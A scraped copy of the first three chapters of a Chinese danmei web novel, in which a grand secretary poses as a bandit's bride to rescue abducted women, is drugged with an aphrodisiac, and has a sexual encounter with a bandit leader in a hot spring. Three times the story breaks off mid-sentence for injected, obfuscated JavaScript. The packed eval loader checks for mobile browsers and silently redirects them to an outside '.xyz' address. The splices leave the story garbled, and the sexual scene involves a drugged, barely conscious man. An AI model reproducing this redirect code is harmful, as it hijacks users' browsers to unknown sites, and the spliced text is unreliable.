《首辅他太诱人》
1. 遇匪(有受轻微女装情节)
入冬,刚下过一场大雪。
落霞山像是被雪洗过一样干净,洁白一片银装素裹,本就人烟罕至的地方更显幽深僻静,寂静的四周依稀可见冰柱垂落水滴缓缓落下。
直到一阵锣鼓喧嚣的声音突兀响起,一抹刺目的红乍然出现在这片冰天雪地中,浩浩荡荡的人群,抬着一顶华贵优美的喜轿,从半山腰走了上来。
印着“囍”字的迎亲牌随轿晃动,四角轿檐上的彩铃丝带玉石随风碰撞,发出“哗啦啦”清脆的声音。
而喜轿木窗边缘,一只修长如玉、骨节分明的手正有节奏地敲击着。
一、
二、
三。
碧空如洗的天空,一只通体金黄的飞雀在从林中快速穿梭,掠过结冰的湖面,凭空飞起,那弯如银钩的尖爪上绑着一个不起眼的小竹筒,正随风发出簌簌声。
在听到熟悉的呼唤后,它毫不犹豫地从上空俯冲下来,破开长空,直冲喜轿而来。
而与此同时。
轿中坐着的人,阖眸闭着的雪亮眼睛倏然睁开,眼里划过一抹沉色。
来了。
窗帘被掀开一条小缝,他伸出手抓住悄无声息钻入轿子的金雀,从它脚下取下竹筒,拿出一张细长的纸条仔细看起来。
“禀大人,一切已准备就绪,现探得对方私藏军械的位置,需劳您拖延一刻钟,我们的人马便能全部安插其中。”
……
沈卿钰卷起纸张,拿出袖中火折,密令放到燃烧的火苗上。
火焰燃尽,他冷冷开口:
“停轿。”
松雪般的声音。
闻声,抬着轿子的八个身材高大、腰佩胯刀的彪形大汉停下动作,互相征询地看向了为首的男人,有些犹豫。
为首的身穿貂皮、头戴巾帽异域男人走上前,掀开了轿帏,看到被扔到座位旁边的红盖头,微不可察地皱了下眉头,又很快恢复常色,用并不熟练的中原话问:“夫人,怎么了?”
沈卿钰听着他说的“夫人”二字,额角青筋隐隐浮现,修长的眉毛压住潋滟狭长的眼睛,本就冷艳的面容,此刻显得有些凌厉。
他惜字如金:“渴了,取水来。”
抬着轿子的几个大汉顿时不耐起来,用一般人听不懂的语言叽哩哇啦说着:
“这中原人忒难伺候,冰天雪地的上哪去取水,马上都到寨子里了,存心拿我们开涮?”
“寨主对她尤其特殊,我们还是不要轻易触碰他的逆鳞。”
“哪这么多事,要我说,就应该把她和那些抓过来的女的一起绑起来,打一顿就老实了。”
沈卿钰听着他们自以为自己听不懂的交流,尤其听到“抓过来的那些女的”这几句后,眼里的寒意越来越深。
他不动声色地隔开了为首的人探寻的目光,转身上轿,高大的身影将藏在盖头下的金雀给挡住,随后坐下,不再言语。
为首的男人目光几度在他身上逡巡,直到面前的人上轿,帘幕又被重新放下,最终还是挥手阻断了身后的人的议论纷纷,说道:
“别吵了!去凿冰取水来!”
——深邃的眼里划过一抹阴毒,若非寨主喜欢,叮嘱他们要毫发无损迎娶回来,以最大的恭敬和礼节对待,否则以他毒老鬼的名号,今天定要让这个不知好歹的人人头落地。
沈卿钰端坐轿中,目光镇静地盯着前方,直到听到对方四散开来寻水离开的脚步声,他将盖头打开掀开帘子让金雀飞了回去。
清凌凌的眼中一片寒意。
灼灼的目光仿佛能透过轿帘看穿这群为非作歹的匪寇。
天堂有路你不走,地狱无门你非要闯。
擅闯我大棠国境,还敢烧杀抢掠、狂虐行事。
简直是找死。
……
与此同时,落霞山不远处的一片梅林。
厚厚的积雪压在了粗壮的梅枝上,以至于树枝上停着的数道人影也被茫茫大雪给隐藏了起来。
一道迅疾的人影从树林中奔来,来到落满积雪的梅林前。
男人身材高大,行走轻快如风,树枝重重掩映下,一双灼灼桃花眼像浸水里洗过一样明亮。
他手上提着一杆银枪,银枪和胳膊上还沾着点点血迹,在树林中快速穿梭的动作却自在轻快,轻戳点刺间尘土飞溅,明明是简单的招式却被他做的极为好看。
“老大你总算来了,还以为你被那群孙子困住了呢。”见他到来,树上朝他伸出一只宽厚的手来,等他凑近了后,那人被他身上的血迹给惊住,“老大你受伤了?”
“那是他们身上的血,爷还能被这群小喽啰给伤着?”浑不在意地一笑,拒绝了树上朝他伸出的手,陆峥安将银枪往雪地用力一掷,借着银枪的力量一股气坐到粗壮的树干上,问:“情况怎么样了?”
“暂时没发现我们,但是今天黑老大好像在办婚宴。”
闻言,陆峥安皱了皱眉,向隔壁树上拿着远洋望远镜的李重招手,“望远镜给我看看。”
接过李重丢给他的望远镜后,搁着重重大雪和高耸的山头看到了隐隐约约的红绸和囍字,扬起一抹嘲讽的笑:“都火烧眉毛了,还在这娶亲呢?”
李重费解:“这黑老鬼怎么想的?他是不是上辈子色鬼投胎啊?好像脑子被驴踢了一样。”
陆峥安不以为意:“他也就那一身武功有两把刷子,身边跟了个会用毒的,其他不够看的。”
“那我们要提前行动吗?趁他们守卫松懈?”身后陈飞跟着问道。
“不用。”陆峥安轻飘飘摘下望远镜的铁钩,往他怀里一扔,“我和老五打过招呼,他带着兄弟们在军械库附近守着,他们手上有火铳,等日落我们从西边进去,那边守卫最薄弱,一时辰一换岗,这样我们的损失能降到最小。”
随后双手一撑仰卧躺倒在树干上,他本就生的高大,随着他大开大合的动作,整根树枝都跟着晃动了几下,零零散散的雪抖落了一地。
“老大。”李重皱起眉头,神色犹疑看向他。
“嗯?”陆峥安挑眉,示意他说下去。
“探子来报,黑风寨里抓了很多年轻姑娘,据说黑老鬼准备把这些姑娘卖给海外的人伢子。”
“呸,这帮狗东西。”胡斯淬了一口,“以前算他们命硬,今天让他们好看,让这群狗东西在普安县待着简直是侮辱了我们土匪的名声。”
陆峥安笑了:“土匪哪有什么好名声。”
“我们跟他们可不一样。”胡斯愤愤然。
——他们虽然也是土匪,但他们不干烧杀抢掠杀人放火这么下作的事。
胡斯转头问他:“老大,那些无辜的姑娘我们得救吧?”
“当然得救,英雄救美,这不顺道的事吗。”陆峥安毫不犹豫。
胡斯思及那些惨死的弟兄,攥拳道:“去年我们在他们手上折损好多兄弟,今年这帮人还想捞完就走,哪来这么好的事。”
“呵。”陆峥安轻哼一声,斜阳晚照,在他轮廓俊朗的脸上投下一片阴影,桀骜的眉宇间是一股掩盖不住的张扬,耳后根的淡青色“囚”字若隐若现,低沉的声音带上了一丝血腥味,“风水轮流转,他们死期早该到了。”
“为我们死去的弟兄们报仇!”胡斯激动振奋。
气氛因为紧张而有些寂静。
直到前面传来一阵锣鼓喧天,打破了这片寂静。
树上的几人惊愕对视,眼里一片了然。
——来得早不如来得巧,看来他们要迎面撞上黑老鬼迎亲了。
众人凝神。
一顶红色的喜轿出现在冰天雪地之中,前方是八个身材魁梧的大汉抬着。
胡斯愤愤:“这厮真是恬不知耻,强掳民女还学人家八抬大轿明媒正娶。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025608|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>李重说:“传闻黑老鬼很重视她。”
陈飞冷笑一声:“他娶的每个小妾都很重视。”
胡斯还欲说些什么,直到一道轿子里松雪般的声音传来:
“停轿。”
众人一时之间被这道声音吸引住,朝树下看去。
一只修长白皙的手从朱红帷幕中伸出来,随后从轿子里走出来一个人。
那人一身红色喜服,身姿如雪,宛如傲然而立的寒梅。
当他转身正对着他们的时候,树上众人看清了他的脸,近乎同时屏住了呼吸。
然后由衷发出一声惊叹:“好美。”
“就是气质好冷。”胡斯转头向树上安静卧着的陆峥安,有些激动,“老大,惊天动地的绝色大美人!你不来看看吗?”
陆峥安闭目养神:“没兴趣。”
——他是懂胡斯的,先前山脚下卖栀子花的小姑娘,他都能惊为天人,所以对他的话压根不信。
“你不懂,老大不喜欢这种类型的。”陈飞说,“老大说过,他心目中的寨主夫人,样貌只要一般漂亮就行,身材匀称皮肤白皙,性格要温柔大方体贴乖顺,重点是脾气要好不能跋扈,其他都不重要。”
胡斯一脸可惜:“那肯定不是老大喜欢的那款,这个姑娘长得比一般女孩子还要高大些,重点是看起来一点也不温柔,那眼神冷冰冰怪让人心慌的,无缘了。”
陆峥安不以为然地笑了声,没有反驳,顺手从身边的细小枝桠上摘了一朵开的正好的梅花瓣盖眼睛上,梅花冷冽清新的香气扑面而来。
身后几人还在说些什么。
松雪被踩动的声音传来。
“那姑娘要走了。”
这时不知是从哪刮过来的一阵风,吹散了陆峥安盖在眼睛上的梅花瓣,让他下意识想去捡,却在弯腰的一瞬间,透过树影,正好和一双清凌凌含着冰雪的眼睛对上了。
这一眼让刚刚还伸手的陆峥安顿时停在了半空中,此刻细密的红梅花瓣还在随风慢慢飘扬,几许落花荡在那一身红绸的人身上,而那双黑白分明的瞳孔中倒映着一片清雪,长长的睫羽微微翕动,皮肤比雪还要白,五官是恰到好处的比例,多一分嫌多,少一分犹嫌不足。
明明是一身喜庆热烈的红服,却因为周身恍若与世隔绝的清冷气质而在这冰天雪地中显得孤傲难当,一举一动都透着一股只可远观不可亵玩的气息。
就像绽放在漫天冰雪中的寒梅,虽艳却冷。
此刻那双清凌凌的眼睛,好像随着陆峥安的视线看了过来。
陆峥安知道,以对方的视角只能看到树影淙淙被积雪堆压的梅树而已。
但不知道为什么,他平静的心脏就是在对上对方的视线后,无端地心悸了一下。
随后便是密密麻麻如同擂鼓一样的心跳声,震得他耳膜都在发烫。
锣鼓奏乐声再起,他视线一直紧随着对方,直到对方转身进了喜轿里,连身边的胡斯他们喊他也没反应过来。
几个人在调笑:
“老大看呆了。”
“英明神武的老大也会被美色迷住眼哈哈。”
“先前不是说不喜欢这类型的吗?”
“看来不是不喜欢,是以前眼光太高。”
……
在众人喋喋不休的讨论中,陆峥安突然道:“他是个男人。”
众人愣住。
今天发生的一系列的事情都超乎了他们的意料之外,原以为他们才是替天行道的那一个,没想到有人先他们一步,可这人到底是哪方势力?于他们是敌是友?
胡斯问道:“老大,那现在该怎么办?”
陆峥安果断从树枝上跳下来,树枝都被他大开大合的动作给弹了起来,簌簌积雪掉落。
“跟上不就知道了。”他用力拔出雪地里的银枪,嘴里含着根树枝,“看看他,到底想做什么。”
2. 中毒
随着一路颠簸的轿子,沈卿钰到了黑风寨门前。
他掀开轿子里的帷幕,朝四周仔细看去。
这个寨子和他想象中差别不大,四周是白雪皑皑、高耸入云的山林,唯独中间一块巨大的平地上驻扎着几个帐篷和竹子做成的高楼,寨子里无论是看门的守卫还是生火的伙夫都身穿着兽皮做成的冬衣,几乎每个人都受过黥刑,脸上刻着大大小小淡青色的“囚”字,面目冷漠透着无尽的戾气,一看就不是善类。
“夫人,可以出来了。”
轿子里伸出一只手来,轿外传来那异域男人的声音。
沈卿钰没有理会那人朝他伸出的手,而是径直从轿子里走了出来。
在看清四周挂上了喜庆的红绸,各式各样的“囍”字贴满了寨子里的各个角落后,他冷冷地皱起了眉头,眼里闪过一丝不耐。
而他的出现就像雪地里的一株寒梅一样,瞬间就夺走了众人的目光,都不约而同地朝这个生的艳丽、气质冷傲的新寨主夫人好奇地看了过来。
那异域男人盯着他头上早被取下扔到一旁的红盖头沉默了半响没说话,最终吩咐人拿了个火盆放在轿子前,示意他让他跨过去。
沈卿钰连看都不看一眼,直接伸出一脚用力一踢,“哐啷”一声,火星子顿时从盆里飞溅出来,灰烬伴着雪块滚了一地,砰砰锵锵的声音在这片安静的寨子里格外突兀。
“来人!把我鞭子拿过来!今天必须让她吃点教训!”异域男人早就忍了他一路,他们对他可以称得上是包容至极、毕恭毕敬,先前寨主娶哪个夫人有像对他这么照顾的?可他呢?骄傲跋扈、高高在上,不仅不像其他的新娘那样乖乖戴上红盖头,甚至对他们的态度可以称得上极其恶劣,本就心有不满的他顿时想在这之前替大哥给他一点颜色看看,不然以后娶了这么强势的一个婆娘,以后吃亏的可是他大哥。
还没等沈卿钰说话,一道粗犷的声音传来:“好了好了,毒老二,差不多行了,你要真把我的美人怎么着,我可要生气了。”
“寨主。”众人对来人弯腰恭敬道。
一个身穿虎皮、身材魁梧脸上带着刀疤的络腮胡男人,笑意盈盈走了过来,上上下下盯着沈卿钰看了好几眼,尤其是见到他被红衣衬托的极为艳丽的容貌后,更是满意地眼睛都在发光,他朝沈卿钰伸出胳膊示意他揽着他,“走,我们去拜堂。”
沈卿钰不动如山,声音如雪一般冷:“那些被你们绑来的姑娘呢?”
那寨主却不仅没被他冷冰冰的态度给惹怒,还反而以为他这是吃醋了,不免有些欣喜,凑近道:“夫人你别生气,那些女的都不重要,有了你其他人我都不要,没人会威胁到你的位置。”
注意到他的“夫人”二字后,沈卿钰如雪一样的眉宇冻结了起来,忍住几欲作呕的怒意,冷冷说道:“先带我去看看她们。”
或许是对他的势在必得、或许是美人脾气越傲越让人有征服欲,又或许是他颇为计较的态度取悦了他,男人摆手挡住毒老鬼的阻拦,真的让那个异域男人带他去了后山关押的牢房,而他则去前厅去应酬那些来喝喜酒庆贺的下属们。
来到牢狱中,沈卿钰便看到几个衣衫单薄、手脚被捆缚住的女人低着头瑟缩在角落里,听到有人来的声音后,都不约而同地开始害怕颤-抖起来,有的甚至因为太过恐惧而发出抽泣的声音。
而为首的一个面色脏污、身上满是鞭伤的女人眼里却闪着倔强的光,见到来人没有其他人那般的害怕和恐惧,反而愤怒地抓住地牢的铁栏杆,骂道:“一群猪狗不如的禽-兽,人在做天在看!坏事做绝恶贯满盈,自有老天来收拾你们!”
沈卿钰缓缓蹲下身,扶住栏杆问她:“你叫什么名字?”
林秀儿倏然对上一双清凌凌的眼睛,来人竟是天仙一般的姿容,眉宇好像凝着寒霜一般,让她莫名其妙的心跳漏了一个节拍,红着脸“我、我”了半天后,她才注意到他一身喜服,顿感悲怆:“姑娘你也是被他们掳来的吗?”
——这般谪仙一样的人物,如今竟也要像她们一样,折损在这里了?!
这时,牢房外突然响起一阵炮火轰鸣的巨响,震地整片地牢都在晃动。
随后一个跌跌撞撞的人跑了进来,浑身血污的他扑通跪下:“二寨主!有人闯进来了!!”
“是谁!”他喝道。
“是官府的人!是应天府的官兵!”
他面色剧变,怎么会惹上官府的人?他们一路上小心谨慎,官府的人又是怎么得知他们的位置的?!
可他还没来得及说什么,就在他分神的瞬间,“哗啦”一声巨响自牢门口传来。
众人这才注意到,那坚硬的巨锁被一把长剑斩开,剑光闪烁之间,那身穿喜服清冷如雪的身影就这样站在大牢门前,脖子上一直捆绑的红纱早被他摘下扔到一旁,此刻的他真正显露了出来,全然不是他们以为的那个冷傲娇艳的新娘,而是一个真真正正的男人。
毒老鬼紧紧攥住腰间的大刀,问:“你到底是谁!门外的官兵是不是你带来的!”
褪去了一直以来的伪装后,此刻的沈卿钰带上了几分上位者的气势和从容,阴冷的牢狱没有照进一丝光,那张冷艳清绝的脸上镀上了一层寒霜,他的声音如雪一般冰冷:
“圣上有谕,尔等贼首听令。”
一卷明黄色的诏令于他手心摊开:
“天佑我大棠,怎奈落霞山有贼寇为非作歹、买卖妇女坏事做尽,乃致民不聊生、天|怒人怨,如今更私藏军火、拥兵自重,企图染指圣权,特派我大棠首辅沈卿钰协应天府数干将士,将其一网打尽,以儆效尤。”
他又继续道:“圣上有令,若尔等有一丝悔过之心,速速束手就擒,将罪行尽数交代,私藏军火全数上交朝廷,可功过相抵,留尔等一个全尸。”
“你竟是大棠首辅!男扮女装、替人出嫁,施如此毒计!你骗的我们好惨!”毒老二恶狠狠地看着他,满脸不可置信。
沈卿钰垂下眼睫冷冷看了他一眼:“对你们这样的贼首,什么计谋都不为过。”然后看着他们逐渐往后挪动似乎要随时逃跑的脚步,提醒道,“你们跑不了,外面全是我带来的人,劝你们还是尽快束手就擒。”
“我不管你是男是女!”那毒老二颇有些不平,“你扪心自问,寨主对你一片真心,你就不能看在昔日情分上,放我们一条生路吗!”
沈卿钰不为所动:“不能。”
“哈哈哈哈,可怜我那大哥没有亲眼看到,玩鹰的被鹰啄了眼,这就是他要娶的夫人,你对他多好他都没心的!”那毒老二似乎知道时局已经无法逆转了,而是用一双恶狠狠的眼睛看着他,“枉我们寨主对你多番礼遇,路上更是叮嘱我们不要为难你,满足你所有要求,可你呢?心硬如铁,滴水不穿,不识好歹的东西!我毒老二只后悔没在路上一刀把你捅了,又岂会造成今日的局面!”
他颇为怨毒地看着被沈卿钰牢牢护在身后的女人们,咧出一丝阴嗖嗖的笑:“你既要做这救美的英雄,何不和她们一起下地狱!”说完,他不知从哪掏出一大片紫色的粉末,尽数朝着沈卿钰和牢中的人撒去。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025609|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那片粉末并没有接触到他们,随着身形而动,沈卿钰迅速用长剑卷起牢中的草席,将其挑起后将那片毒粉给席卷挡开,然后再朝他们的方向扬去,尽数归还给了他们。
那帮人都有武功自然是没有被他真的打到,毒老二见他躲掉更是没有一丝恼怒,而是阴狠狠笑了一声,“你挡得了这断肠毒,挡得住我给你下的醉生梦死吗?”
沈卿钰神色骤变,倏然抬起眼看向他:“什么毒?你再说一遍?”
“还记得你在来的路上喝的那碗水吗?里面被我下了醉生梦死,不消片刻,你就会像一个欲求不满的禽兽,只剩下□□的动物本能。时间马上就到了,本来是想着你要是敢不听话违逆大哥让你听话用的,但现在——”毒老二阴阴笑了起来,故意没告诉他其实这个毒还有一个作用,女子吃了它只会发病没有其他用处,可若男子吃了它便可能会如女子一样怀胎生子暗结珠胎。
似乎终于找回了他的场子,他越笑越大声:“我倒要看看,高高在上的沈首辅,还怎么维持你的这幅盛气凌人的样子哈哈哈!”
“你敢!”沈卿钰怒意冲冲地提起剑,可随着那毒老二掏出一个拨浪鼓击打起来后,他腹部狠狠一痛,顿时密密麻麻如同蚁虫啮咬一样的麻痒席卷了他全身,让他浑身僵硬随之豆大的汗珠从他额头落了下来,高大的身形隐隐有些站不稳,他撑着剑的手都在剧烈颤抖。
“沈大人!!”身后被他护着的林秀儿一把扶住摇晃的他,颇为担心地唤道,可她柔软的手刚刚触碰到他的胳膊,就被沈卿钰一把粗暴地挣开,咬牙切齿的声音传来,“别碰我!退开!”
一种强烈的、想把身后触碰他的人扑到的想法让他眼前都开始模糊了起来,腹部涌起来克制不住的热流让他扶着剑的手都在颤抖,他艰难地挪动着脚步离身后的人远点。
“把解药给我!不然、我会让你死的很惨!”他捂着轰鸣不止的额头,好像有一个手在他脑子里不停地搅动,让他脑髓都被碾的稀碎,只能勉强维持着不堪的意识。
“哼,做梦。”毒老二冷冷一笑,地牢外地动山摇的声音传起,担心大哥的想法还是占据了上筹,他需要尽快去支援。
“把这些女的全杀了,”他朝门口看守的牢狱挥了挥手,笑得残忍,“然后好好伺候伺候我们的首辅大人。”
说完,就朝着门外疾步追去,然后消失不见。
沈卿钰看着接近自己的两个狱卒,似乎在对自己垂涎地搓着手……
*
等陆峥安一伙人赶到的时候,看到的便是不复昔日辉煌、被炮火轰炸的破败不堪的黑风寨。
而更让他们意外的是,寨子里到处插满了明黄色的写着“棠”字的旗帜,四处可见身穿官袍的官兵,此刻除了正押解着众多黑风寨的人以外,好像还在四处搜寻着什么。
他们隐隐约约听见这些官兵在说:“沈大人还没找到吗?”
陆峥安蹙起眉头,直觉告诉他,他们说的那个沈大人就是他之前见到的那个气质如霜的男人。
正在这时,一个一身鞭伤的女人骤然从守卫中跑出来,哭着跪在了这群官兵前:“快去救沈大人!他中了贼人的毒,那两个贼寇把他带去了后山!”
胡斯观察着越来越多的官兵,很快他们藏身的这个地方也要藏不住了,于是斟酌地拉住身体前倾的陆峥安,说道:“老大,我们该撤了,这地方马上就要被发现了。”
陆峥神色一片肃然没被他拉动,而是提起银枪,丢下一句话给他们后便奔向后山:
“我去看看情况,你们先撤退。”
3. 解毒
由于在来之前早摸过方向,很快他便在后山找到了几排凌乱的脚步。
而更让他心惊的是,那红色的喜服此时破烂不堪地挂在了树枝上。
他连忙拨开重重树枝去看,看到地上躺着的两个浑身是血身穿貂裘的人,显然这就是那女人说的黑风寨的贼寇。
二人还没完全断气,看到他耳后根上刻着的“囚”字还以为是自己人,朝他伸出血淋淋的手:“兄弟,救救我们——”
“闭嘴,小畜生,谁和你们这帮腌臜是兄弟。”还没说完,黑漆漆的靴子就踩在了他们脸上,随之就是狠狠碾压的力道,陆峥安带着所剩无几的耐心,冷飕飕道,“我只问你们一遍,那个被你们抓来的男人你们藏去哪了?”
二人生命垂危,连声求饶:“饶命啊壮士,你说的是哪个男人?大棠首辅沈卿钰吗?”
陆峥安微微一愣:首辅?他竟是当朝首辅?
也难怪,那种气质和风度,又怎么可能是一般人?
“他在哪?”
二人老实告知:“他跟发了狂一样,我们还没拿他怎么样就被他伤成了这样,好像是往后山小溪林的方向跑去了——”
得到回答后,陆峥安松开了踩着他们的靴子,二人心下一喜:“壮士既已得知他的去处,是不是可以绕我们一命了——”
话还没说完,血花飞溅,银枪坠下,二人双双咽气。
陆峥安没有多余的表情,而是朝着后山小溪林的方向继续追去。
直来到一片静谧的地方后,潺潺溪流声从重重掩映的树枝中传来。
陆峥安站在地势较高的地方,面前的视线被积满白雪的树枝给盖住。
他缓缓推开树枝。
面前的视野陡然宽阔起来。
这是一个极为隐蔽中间镂空的山洞,一道悬挂半空的瀑布从山洞的石壁上垂落下来,瀑布流过的地方在地势较低的盆地中间形成了一个冒着热气的温泉,洞中岁月好像都比洞外面要流淌的慢一些,就连树木都留有一片余青,在热气腾腾的温泉飘起白雾的时候,竟宛如人间仙境一般。
而他苦苦找寻的人此刻正端坐在那温泉当中,旁边静静躺在石头上的剑还沾着血迹。
男人紧紧阖着眼,如剑一样的眉宇像是被冻住般凝着寒霜,他身上的衣服被他撕开丢弃在了一旁,他半裸着上半身皮肤,从胸前到腹部的薄肌呈现块状,如同造物主精心创造的一样完美无瑕。
似乎感知到了他这边的声音,男人倏然抬起头来看向他的方向,紧缩的眉头带给人一股难以言喻的压迫感,却又因为极其夺目的眼睛而显得艳丽无双。
他喝道:“谁!”
陆峥安轻轻一笑,从重重掩映的树枝中抱胸走了出来,挑眉说道:“你没事就好,我还以为你中了那老鬼的毒会变得六亲不认。”
对方仍然是坐在水池中没有说话,他便继续走近,走近后更发现眼前的人皮肤白的简直晃人眼,尤其是那形状完美的肌肉上还在滴着水直直流淌过两点,向更深处而去让人想一探究竟。
他刻意忽略掉自己喉咙间的干哑,转开视线,蹲下身想替对方诊脉,“他的毒非同小可,之前我很多兄弟都吃过他的亏,我先替你检查一下你身体有没有异样。”
还没等他接近那只修长的手,水面骤然翻起巨大的水花,接着他手腕被一股大力给擒住,温热的泉水涌上他的腰间,随后眼前一花,他后背便抵到了坚硬的石壁。
他抬头入目便是一张凌厉艳丽的脸,此刻那寒冰一样的黑漆漆的眼里却一片空洞瞳孔呈现放大,但因为过于黑白分明的眼睛和从上方俯瞰自己的角度,而显得有些奇异的专注,正一眨不眨地盯着自己看。
几根如墨一样湿透的发丝垂在了陆峥安的脸上,冰凉的发丝好像带着独属于这人的冷香,呼吸之间却是对方灼热的体温,让陆铮安迎着对方那空洞又冷冰冰的眼睛,心脏被烫的不受控制。
手腕上桎梏自己的手一点点强势又霸道地挤入他的指骨之间,两只骨节分明的手因为这过重的力道而碰撞挤压的有些生疼,入手间陆峥安感到的是一股冰凉又湿滑的触感,就好像要深入他骨髓一样激烈。
陆峥安忍着对方喷洒在他身上灼热的呼吸,随着他的力道,探查到了对方中的毒,感知到剧烈跳动的脉搏后,猛然一惊:“他竟给你下春|药?”
而中毒的沈卿钰却没有回答他的问题,而是用赤|裸的、近乎灼热的目光像盯着一个猎物一般、冷冷盯着他看。那狭长的眼中是掩盖不住的动物本能和肆虐的味道,就好像他是这闯入林间的肥羊。
陆峥安紧紧贴着对方炽热的皮肤,呼吸交织间,紧接着那红艳艳的、带着冷香的唇瓣就这样猝不及防地凑了过来。
这巨大的诱惑,让陆峥安心脏陡然失去节奏狂跳起来,眼看那红唇离自己越来越近,“喂喂喂!”他伸出手猛然一把推开了对方,平复着狂跳不已的心脏,深呼一口气,“简直了,老天爷——”他竟有一瞬间想按住对方的头狠狠吻上去的冲动。
他发誓,他这二十年来,行事虽然浪荡不羁了点,可除了面前的人,他从没和其他任何人有过这样亲密的时候。
他偏过头,对方头发上的水珠滴到他下巴上,顺着起伏的弧度一路往下滑,明明是冰凉的温度却让他喉咙像是被开水烫过一样,灼的他声音沙哑,他尽量用理智去陈述:“冷静点,你中药了。”
——却不知这句话到底是在提醒自己还是提醒对方。
但对方显然没听到,并且伸出一只手掐住他的下巴,然后带着梅香的吻就在他睁大眼睛的一瞬间,狠狠地覆盖住了他的唇。
周围的空气简直热的不像话,明明是寒冬腊月的山林却因为这一片温泉的滋养而热气沸腾,更加显得这片狭小的地方好似世外桃源一般美不胜收。
陆峥安却无心去关注美景,因为美景就在眼前,他根本来不及去细想对方这个吻是否是因为身中情毒的原因,因为在对方吮上他唇舌的一瞬间他脑子里就好像炸开了烟花。
本就激荡不平的心绪剧烈在起伏,随着对方的力道而去追逐他温热的唇舌,直到尝尽了梅花的清香和甘甜,他才急促呼吸着扣住对方秀长的脖颈拉开对方和他的距离,他喘着粗气道:“我承认我追上来,确实是因为担心你,对你也确实有些不一样的感觉,你亲我我也很喜欢,但我们现在是不是进展太快了点?你认得清我是谁吗?你到底知不知道自己在做什么?”
可很显然,对方不知道,并且再次将他压在石壁上急切且剧烈地吻了下来。
陆峥安放在他脖子的手被他再次十指相扣,却在即将按下去的一瞬间被对方控制住,陆峥安裤子早就湿透了一大片,他一把将手推拒在了对方贴近他的胸膛上,他觉得再这样下去自己的理智也要被对方给烧的殆尽,然后就是造成不可预料的后果。
陆峥安起伏着剧烈的胸膛,用所剩不多的理智、气喘吁吁地分析道:“我带你出去找解药,那个寨子里肯定还有——”
可话还没说完,对方却拉着他的手一寸寸挪动,直到贴近胸膛,那双空洞的眼睛里闪过一丝了然和欣喜,就像找到了上好的凉玉一样,那空荡荡一片的眼睛里的灼热和躁动在他们的动作中得到缓解。
陆峥安就这样看着对方用极其冷冰冰的表情做着与气质完全不相符的事,打眼看去那片红梅已经是红的彻底了,甚至在他抽回手后那个人还不满地看向他。
陆峥安终于是忍不了了,一把将他摁在身下,从背后揽住他控制住他不安分的手,男人的力气大的惊人,他险些控制不住他,只能任由对方在自己身上扭动,甚至还被掐的胳膊上青一块紫一块,有些地方都渗出了血迹,弄的他一双漆黑的眼又红又热,狠狠朝那不断扭动的人身上用力一拍,粗声道:“老实点!”
对方痛呼一声,被他拍的眼圈都红了一大片,用那双空洞的眼睛直愣愣地看着他,陆峥安竟从中读出了那么一丝委屈的味道,顿时心软的不像话,他安抚性地轻柔吻了吻他的鬓角,声音沙哑:“好了好了,拍疼了是不是?我给你道歉,你靠着我不要乱动,我来帮你疏解。”
他看着对方高高支起的帐篷,有些无奈地笑了:“这辈子我没帮别人干过这种事,更别谈是帮一个男人了。要是别人让我|干这事,我肯定会杀了他。”
然后又腾出一只手将紧紧贴在沈卿钰鬓边湿掉的发丝拨开,看到那圣洁如雪一样的脸和艳丽中透着凌厉的眼睛,轻笑着摇了摇头。
——长得很美,但不是温柔那一挂的,看起来脾气也不是很好的样子,可不知怎么的,他却拒绝不了他,明明对方也不是个姑娘,是个和自己一样的大男人。
他将他牢牢按在自己腿上,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025610|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只手扣在他腰间,清亮漆黑的眼中显出一丝灼热:“靠紧我,我来帮你。”
远处阳光正下。
雪林中的梅枝从阳光中伸展开来,他伸出手触碰到梅花枝头,一点点地拨开枝桠。
……
那高不可攀、滚烫的雪莲也渐渐融化起来。
陆铮安抱紧了浑身发烫的人,临了却想着一件极为重要的事:
“你知道我的名字吗?”
意识模糊的沈卿钰却不满地催促着他,让他继续,陆峥安却牢牢堵住他:“叫我的名字,叫我陆峥安。”
身上的人却根本听不清他在说什么,而是凑过来吻他想让他继续缓解自己的燥热,陆峥安掐住他下巴和他交换了一个炙热潮湿的吻,重复地加重了手中的力道:“叫陆峥安,我就让你舒服。”
意识沉睡的沈卿钰仍然是没出声。
此刻的陆峥安却极为强势:“叫陆峥安!”
最终被折磨的快要崩溃的沈卿钰从牙缝里艰涩地、用力吐出不成调的几个字:“陆、峥、安……”
梅花绽放,清透的池水倒映出白云,梅花的香味充斥着这一方小小的天地。
“我带你去找解药。”
